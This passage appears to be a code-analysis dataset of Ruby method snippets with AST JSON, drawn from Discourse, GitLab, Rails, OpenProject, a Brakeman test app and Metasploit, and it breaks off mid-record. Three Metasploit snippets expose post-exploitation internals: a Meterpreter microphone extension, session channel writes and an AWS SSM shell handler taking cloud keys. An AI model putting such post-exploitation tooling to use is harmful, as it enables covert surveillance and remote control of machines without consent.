{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_activator.rb","start_line":55,"raw_source":"def activate\n    email_token = user.email_tokens.create!(email: user.email, scope: EmailToken.scopes[:signup])\n    EmailToken.enqueue_signup_email(email_token)\n    success_message\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"activate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"email_tokens\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"scopes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"signup\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},\"enqueue_signup_email\",{\"type\":\"lvar\",\"children\":[\"email_token\"]}]},{\"type\":\"send\",\"children\":[null,\"success_message\"]}]}]}","id":"182395a4-bd03-4434-bf61-d122ab2e6c4e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-apple-auth/lib/omniauth_apple.rb","start_line":45,"raw_source":"def callback_url\n        full_host + script_name + callback_path\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"callback_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_host\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"script_name\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"callback_path\"]}]}]}","id":"5bde6915-cdbf-4716-a730-7cf9d9077fbf"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/incoming_emails/handlers/base.rb","start_line":124,"raw_source":"def get_keyword(attr, options = {})\n      @keywords ||= {}\n      if @keywords.has_key?(attr)\n        @keywords[attr]\n      else\n        @keywords[attr] = begin\n          if (options[:override] || self.options[:allow_override].include?(attr)) &&\n            (v = extract_keyword!(plain_text_body, attr, options[:format]))\n            v\n          else\n            # Return either default or nil\n            self.options[:issue][attr]\n          end\n        end\n      end\n    end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_keyword\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@keywords\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keywords\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keywords\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@keywords\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"attr\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"override\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_override\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[null,\"extract_keyword!\",{\"type\":\"send\",\"children\":[null,\"plain_text_body\"]},{\"type\":\"lvar\",\"children\":[\"attr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"issue\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]}]}]}]}]}]}","id":"af918256-0c43-49da-82c2-e977926da22f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/members/invite_accepted_mailer.rb","start_line":32,"raw_source":"def target_model_name\n      member_source.model_name.singular\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"target_model_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member_source\"]},\"model_name\"]},\"singular\"]}]}","id":"8a8c32cf-2214-4127-8688-67c8c5d992e1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_card_serializer.rb","start_line":159,"raw_source":"def include_suspended_till?\n    object.suspended?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_suspended_till?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"suspended?\"]}]}","id":"bbd6f086-d00f-45f7-8a5d-4affd6536912"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi_audio/stdapi_audio.rb","start_line":33,"raw_source":"def initialize(client)\n              super(client, 'stdapi_audio')\n\n              # Alias the following things on the client object so that they\n              # can be directly referenced\n              client.register_extension_aliases(\n                [\n                  {\n                    'name' => 'audio_output',\n                    'ext'  => Rex::Post::Meterpreter::Extensions::Stdapi_Audio::AudioOutput::AudioOutput.new(client)\n                  },\n                  {\n                    'name' => 'mic',\n                    'ext'  => Rex::Post::Meterpreter::Extensions::Stdapi_Audio::Mic::Mic.new(client)\n                  },\n                ])\n            end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},{\"type\":\"str\",\"children\":[\"stdapi_audio\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"register_extension_aliases\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"audio_output\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ext\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Stdapi_Audio\"]},\"AudioOutput\"]},\"AudioOutput\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"mic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ext\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Stdapi_Audio\"]},\"Mic\"]},\"Mic\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]}]}]}]}]}","id":"109379d5-cefb-4ce1-8ace-4a85d7255927"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/config.rb","start_line":61,"raw_source":"def self.invalid_provider(provider)\n          raise InvalidProvider, \"Unknown provider (#{provider}). Available providers: #{providers}\"\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"invalid_provider\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidProvider\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown provider (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"str\",\"children\":[\"). Available providers: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"providers\"]}]}]}]}]}","id":"aa792252-1ca7-43d4-9010-bc7428f9679f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails4/app/controllers/users_controller.rb","start_line":135,"raw_source":"def email_find_by\n    Email.find_by id: params[:email][:id]\n    Email.find_by! id: params[:email][:id]\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"email_find_by\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"27032010-a3c6-43eb-a2f5-1ae2b0c082a5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250423083127_drop_sequences_from_merge_request_commits_metadata.rb","start_line":6,"raw_source":"def up\n    drop_sequence(\n      :merge_request_commits_metadata,\n      :project_id,\n      :merge_request_commits_metadata_project_id_seq\n    )\n\n    drop_sequence(\n      :merge_request_commits_metadata,\n      :commit_author_id,\n      :merge_request_commits_metadata_commit_author_id_seq\n    )\n\n    drop_sequence(\n      :merge_request_commits_metadata,\n      :committer_id,\n      :merge_request_commits_metadata_committer_id_seq\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_sequence\",{\"type\":\"sym\",\"children\":[\"merge_request_commits_metadata\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"merge_request_commits_metadata_project_id_seq\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_sequence\",{\"type\":\"sym\",\"children\":[\"merge_request_commits_metadata\"]},{\"type\":\"sym\",\"children\":[\"commit_author_id\"]},{\"type\":\"sym\",\"children\":[\"merge_request_commits_metadata_commit_author_id_seq\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_sequence\",{\"type\":\"sym\",\"children\":[\"merge_request_commits_metadata\"]},{\"type\":\"sym\",\"children\":[\"committer_id\"]},{\"type\":\"sym\",\"children\":[\"merge_request_commits_metadata_committer_id_seq\"]}]}]}]}","id":"1506e53a-b044-4caf-b8f8-66511c1bbb70"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuables/label_filter.rb","start_line":183,"raw_source":"def split_label_names(label_name_param)\n      label_name_param.is_a?(String) ? label_name_param.split(',') : label_name_param\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"split_label_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label_name_param\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_name_param\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_name_param\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"lvar\",\"children\":[\"label_name_param\"]}]}]}","id":"1cb09ff6-bf94-46af-86ab-b6d96073e03c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/web/comm.rb","start_line":93,"raw_source":"def self.write_channel(client, request)\n    channel_id = request.qstring['channel_id']\n    data       = request.qstring['data']\n    channel    = @channels[channel_id]\n\n    if channel.nil? == false\n      channel.write_input(data)\n    end\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"write_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"qstring\"]},\"[]\",{\"type\":\"str\",\"children\":[\"channel_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"qstring\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channels\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"channel_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"nil?\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"write_input\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]}]}]}","id":"700b761e-0c07-4dea-ba15-26072acbaad4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":2131,"raw_source":"def map_match(path_or_action, constraints: nil, anchor: nil, format: nil, path: nil, as: DEFAULT, via: nil, to: nil, controller: nil, action: nil, on: nil, internal: nil, mapping: nil)\n            if on && !VALID_ON_OPTIONS.include?(on)\n              raise ArgumentError, \"Unknown scope #{on.inspect} given to :on\"\n            end\n\n            if @scope[:to]\n              to ||= @scope[:to]\n            end\n\n            if @scope[:controller] && @scope[:action]\n              to ||= \"#{@scope[:controller]}##{@scope[:action]}\"\n            end\n\n            controller ||= @scope[:controller]\n            via = Mapping.check_via Array(via || @scope[:via])\n            format ||= @scope[:format] if format.nil?\n            anchor ||= true if anchor.nil?\n            constraints ||= {}\n\n            case path_or_action\n            when String\n              if path_or_action && path\n                raise ArgumentError, \"Ambiguous route definition. Both :path and the route path were specified as strings.\"\n              end\n              path = path_or_action\n              to = get_to_from_path(path_or_action, to, action)\n              decomposed_match(path, controller, as, action, path, to, via, format, anchor, constraints, internal, mapping, on)\n            when Symbol\n              decomposed_match(path_or_action, controller, as, action, path, to, via, format, anchor, constraints, internal, mapping, on)\n            end\n\n            self\n          end","complexity_score":47.8,"ast_json":"{\"type\":\"def\",\"children\":[\"map_match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path_or_action\"]},{\"type\":\"kwoptarg\",\"children\":[\"constraints\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"anchor\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"format\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"as\",{\"type\":\"const\",\"children\":[null,\"DEFAULT\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"via\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"to\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"controller\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"action\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"on\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"internal\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"mapping\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"on\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VALID_ON_OPTIONS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"on\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown scope \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"on\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" given to :on\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"to\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"to\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"controller\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"to\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"controller\"]}]}]},{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"controller\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"controller\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"via\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mapping\"]},\"check_via\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"via\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"via\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"nil?\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"anchor\"]},\"nil?\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"anchor\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"constraints\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_or_action\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_or_action\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Ambiguous route definition. Both :path and the route path were specified as strings.\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"lvar\",\"children\":[\"path_or_action\"]}]},{\"type\":\"lvasgn\",\"children\":[\"to\",{\"type\":\"send\",\"children\":[null,\"get_to_from_path\",{\"type\":\"lvar\",\"children\":[\"path_or_action\"]},{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]},{\"type\":\"send\",\"children\":[null,\"decomposed_match\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"lvar\",\"children\":[\"as\"]},{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"via\"]},{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"lvar\",\"children\":[\"anchor\"]},{\"type\":\"lvar\",\"children\":[\"constraints\"]},{\"type\":\"lvar\",\"children\":[\"internal\"]},{\"type\":\"lvar\",\"children\":[\"mapping\"]},{\"type\":\"lvar\",\"children\":[\"on\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Symbol\"]},{\"type\":\"send\",\"children\":[null,\"decomposed_match\",{\"type\":\"lvar\",\"children\":[\"path_or_action\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]},{\"type\":\"lvar\",\"children\":[\"as\"]},{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"via\"]},{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"lvar\",\"children\":[\"anchor\"]},{\"type\":\"lvar\",\"children\":[\"constraints\"]},{\"type\":\"lvar\",\"children\":[\"internal\"]},{\"type\":\"lvar\",\"children\":[\"mapping\"]},{\"type\":\"lvar\",\"children\":[\"on\"]}]}]},null]},{\"type\":\"self\",\"children\":[]}]}]}","id":"19451a0b-814f-42fa-93e0-e84325cecfb6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/bind_aws_ssm.rb","start_line":147,"raw_source":"def initialize(info = {})\n    super\n\n    register_options(\n      [\n        OptString.new('EC2_ID', [true, 'The EC2 ID of the instance ', '']),\n        OptString.new('REGION', [true, 'AWS region containing the instance', 'us-east-1']),\n        OptString.new('ACCESS_KEY_ID', [false, 'AWS access key', nil]),\n        OptString.new('SECRET_ACCESS_KEY', [false, 'AWS secret key', nil]),\n        OptString.new('ROLE_ARN', [false, 'AWS assumed role ARN', nil]),\n        OptString.new('ROLE_SID', [false, 'AWS assumed role session ID', nil]),\n      ], Msf::Handler::BindAwsSsm)\n\n    register_advanced_options(\n      [\n        OptString.new('SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']),\n        # AWS-RunShellScript, AWS-RunPowerShellScript, etc\n        OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true])\n      ], Msf::Handler::BindAwsSsm)\n\n    self.listener_threads = []\n    self.conn_threads = []\n    self.listener_pairs = {}\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"EC2_ID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The EC2 ID of the instance \"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"REGION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"AWS region containing the instance\"]},{\"type\":\"str\",\"children\":[\"us-east-1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ACCESS_KEY_ID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"AWS access key\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SECRET_ACCESS_KEY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"AWS secret key\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ROLE_ARN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"AWS assumed role ARN\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ROLE_SID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"AWS assumed role session ID\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindAwsSsm\"]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSM_SESSION_DOC\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The SSM document to use for session requests\"]},{\"type\":\"str\",\"children\":[\"SSM-SessionManagerRunShell\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSM_KEEP_ALIVE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Keep AWS SSM session alive with empty 